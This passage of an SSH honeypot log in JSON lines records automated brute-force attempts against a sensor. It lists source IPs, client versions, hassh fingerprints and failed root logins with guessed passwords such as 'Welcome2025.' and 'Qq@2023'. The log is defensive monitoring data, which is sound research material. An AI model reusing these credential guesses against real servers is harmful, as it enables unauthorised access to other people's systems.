-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:32.163181Z","src_ip":"186.148.224.183","session":"4d6ddfb14767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123455","message":"login attempt [root/123455] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:32.792709Z","src_ip":"186.148.224.183","session":"4d6ddfb14767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome2025.","message":"login attempt [root/Welcome2025.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:33.457380Z","src_ip":"213.209.159.158","session":"15edb881e110","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:33.974053Z","src_ip":"186.148.224.183","session":"4d6ddfb14767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:35.825429Z","src_ip":"213.209.159.158","session":"15edb881e110","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":16840,"dst_ip":"159.203.135.109","dst_port":22,"session":"05fba111605c","protocol":"ssh","message":"New connection: 213.209.159.158:16840 (159.203.135.109:22) [session: 05fba111605c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:35.925082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:37.163243Z","src_ip":"213.209.159.158","session":"05fba111605c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:37.167141Z","src_ip":"213.209.159.158","session":"05fba111605c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":52386,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7744c8d3aea","protocol":"ssh","message":"New connection: 38.93.206.2:52386 (159.203.135.109:22) [session: c7744c8d3aea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:39.386131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:39.391237Z","src_ip":"38.93.206.2","session":"c7744c8d3aea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.241.42","src_port":60974,"dst_ip":"159.203.135.109","dst_port":22,"session":"e426c70c3d34","protocol":"ssh","message":"New connection: 103.154.241.42:60974 (159.203.135.109:22) [session: e426c70c3d34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:39.430816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:39.435899Z","src_ip":"103.154.241.42","session":"e426c70c3d34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:39.441745Z","src_ip":"38.93.206.2","session":"c7744c8d3aea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"110989","message":"login attempt [root/110989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:39.594131Z","src_ip":"38.93.206.2","session":"c7744c8d3aea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:39.685589Z","src_ip":"103.154.241.42","session":"e426c70c3d34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:40.649383Z","src_ip":"38.93.206.2","session":"c7744c8d3aea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:40.710472Z","src_ip":"103.154.241.42","session":"e426c70c3d34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wW.123345","message":"login attempt [root/wW.123345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:43.008880Z","src_ip":"213.209.159.158","session":"05fba111605c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:45.272827Z","src_ip":"213.209.159.158","session":"05fba111605c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":35588,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd452cf58407","protocol":"ssh","message":"New connection: 213.209.159.158:35588 (159.203.135.109:22) [session: dd452cf58407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:45.357141Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":53962,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcdb322654b4","protocol":"ssh","message":"New connection: 78.44.192.210:53962 (10.17.0.5:22) [session: fcdb322654b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:45.662652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:45.668375Z","src_ip":"78.44.192.210","session":"fcdb322654b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:45.777829Z","src_ip":"78.44.192.210","session":"fcdb322654b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.80.170","src_port":44662,"dst_ip":"10.17.0.5","dst_port":22,"session":"55c897d477d2","protocol":"ssh","message":"New connection: 198.12.80.170:44662 (10.17.0.5:22) [session: 55c897d477d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:46.099325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:46.108470Z","src_ip":"198.12.80.170","session":"55c897d477d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:46.139609Z","src_ip":"198.12.80.170","session":"55c897d477d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq@2023","message":"login attempt [root/Qq@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:46.255597Z","src_ip":"78.44.192.210","session":"fcdb322654b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234Qwer","message":"login attempt [root/1234Qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:46.309885Z","src_ip":"198.12.80.170","session":"55c897d477d2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:46.563404Z","src_ip":"213.209.159.158","session":"dd452cf58407","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:46.567266Z","src_ip":"213.209.159.158","session":"dd452cf58407","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:47.336101Z","src_ip":"198.12.80.170","session":"55c897d477d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:47.364005Z","src_ip":"78.44.192.210","session":"fcdb322654b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wangzp","message":"login attempt [root/wangzp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:52.590222Z","src_ip":"213.209.159.158","session":"dd452cf58407","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:54.784368Z","src_ip":"213.209.159.158","session":"dd452cf58407","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":7050,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c07db73ae85","protocol":"ssh","message":"New connection: 213.209.159.158:7050 (159.203.135.109:22) [session: 3c07db73ae85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:54.869124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:56.253699Z","src_ip":"213.209.159.158","session":"3c07db73ae85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:56.260055Z","src_ip":"213.209.159.158","session":"3c07db73ae85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"WangYinan","message":"login attempt [root/WangYinan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:02.075810Z","src_ip":"213.209.159.158","session":"3c07db73ae85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:04.313583Z","src_ip":"213.209.159.158","session":"3c07db73ae85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":15536,"dst_ip":"159.203.135.109","dst_port":22,"session":"87664d108da8","protocol":"ssh","message":"New connection: 213.209.159.158:15536 (159.203.135.109:22) [session: 87664d108da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:04.398723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:05.775277Z","src_ip":"213.209.159.158","session":"87664d108da8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:05.779783Z","src_ip":"213.209.159.158","session":"87664d108da8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome8","message":"login attempt [root/Welcome8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:11.326096Z","src_ip":"213.209.159.158","session":"87664d108da8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:13.691031Z","src_ip":"213.209.159.158","session":"87664d108da8","protocol":"ssh"}
